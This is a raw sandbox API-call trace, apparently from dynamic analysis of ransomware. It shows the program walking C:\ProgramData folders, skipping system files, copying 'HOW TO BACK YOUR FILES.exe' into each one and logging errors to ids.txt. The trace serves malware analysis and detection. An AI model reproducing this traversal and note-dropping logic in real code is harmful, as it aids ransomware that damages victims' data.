	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="Apollon865.txt.exe") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1
	[0050.469] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1
	[0050.469] lstrlenW (lpString="Package Cache") returned 13
	[0050.469] lstrlenW (lpString="C:\\ProgramData\\Oracle") returned 21
	[0050.469] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache"
	[0050.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0050.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6310
	[0050.469] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0050.469] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0050.469] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.469] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0050.469] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1
	[0050.469] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1
	[0050.469] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1
	[0050.470] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1
	[0050.470] lstrlenW (lpString="Start Menu") returned 10
	[0050.470] lstrlenW (lpString="C:\\ProgramData\\Package Cache") returned 28
	[0050.470] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0050.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca510
	[0050.470] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.470] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="Apollon865.txt.exe") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1
	[0050.470] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1
	[0050.470] lstrlenW (lpString="Sun") returned 3
	[0050.470] lstrlenW (lpString="C:\\ProgramData\\Start Menu") returned 25
	[0050.470] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Sun" | out: lpString1="Sun") returned="Sun"
	[0050.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x26) returned 0x5bedd8
	[0050.471] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.471] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1
	[0050.471] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1
	[0050.471] lstrlenW (lpString="Templates") returned 9
	[0050.471] lstrlenW (lpString="C:\\ProgramData\\Sun") returned 18
	[0050.471] lstrcpyW (in: lpString1=0x2d3e56e, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0050.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0050.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca550
	[0050.471] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0050.471] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0050.471] FindClose (in: hFindFile=0x5ca410 | out: hFindFile=0x5ca410) returned 1
	[0050.471] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0050.471] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Templates", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates"
	[0050.471] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca550 | out: hHeap=0x580000) returned 1
	[0050.471] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0050.471] lstrlenW (lpString="C:\\ProgramData\\Templates") returned 24
	[0050.471] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Templates" | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates"
	[0050.471] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.472] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.472] GetLastError () returned 0x0
	[0050.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.472] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.472] CloseHandle (hObject=0x15c) returned 1
	[0050.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.472] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.472] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xffffffff
	[0050.472] GetLastError () returned 0x5
	[0050.473] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Templates\\* FindFirstFile error 5\r\n") returned 58
	[0050.473] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Templates\\* FindFirstFile error 5\r\n") returned 58
	[0050.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.473] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1610
	[0050.473] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3a, lpOverlapped=0x0) returned 1
	[0050.473] CloseHandle (hObject=0x15c) returned 1
	[0050.473] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0050.473] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Sun", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun"
	[0050.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bedd8 | out: hHeap=0x580000) returned 1
	[0050.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.473] lstrlenW (lpString="C:\\ProgramData\\Sun") returned 18
	[0050.473] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Sun" | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun"
	[0050.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.474] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.474] GetLastError () returned 0x0
	[0050.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.474] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.474] CloseHandle (hObject=0x15c) returned 1
	[0050.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.474] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.474] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.474] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.474] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.474] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.474] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.474] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.475] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.475] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.475] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2f2cd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.475] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.475] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="Apollon865.txt.exe") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2=".") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="..") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1
	[0050.475] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1
	[0050.475] lstrlenW (lpString="Java") returned 4
	[0050.475] lstrlenW (lpString="C:\\ProgramData\\Sun\\*") returned 20
	[0050.475] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Java" | out: lpString1="Java") returned="Java"
	[0050.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7fe8
	[0050.475] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.475] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0050.475] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.475] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0050.475] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Sun\\Java", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java"
	[0050.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7fe8 | out: hHeap=0x580000) returned 1
	[0050.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.475] lstrlenW (lpString="C:\\ProgramData\\Sun\\Java") returned 23
	[0050.475] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Sun\\Java" | out: lpString1="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java"
	[0050.476] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.476] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.476] GetLastError () returned 0x0
	[0050.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.476] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.476] CloseHandle (hObject=0x15c) returned 1
	[0050.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.476] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.477] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.477] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.477] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.477] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.477] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.477] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.477] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.477] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.477] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.477] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="Apollon865.txt.exe") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2=".") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="..") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="windows") returned -1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="bootmgr") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="temp") returned -1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="pagefile.sys") returned -1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="boot") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="ids.txt") returned 1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="ntuser.dat") returned -1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="perflogs") returned -1
	[0050.477] lstrcmpiW (lpString1="Java Update", lpString2="MSBuild") returned -1
	[0050.477] lstrlenW (lpString="Java Update") returned 11
	[0050.478] lstrlenW (lpString="C:\\ProgramData\\Sun\\Java\\*") returned 25
	[0050.478] lstrcpyW (in: lpString1=0x2d3e580, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update"
	[0050.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
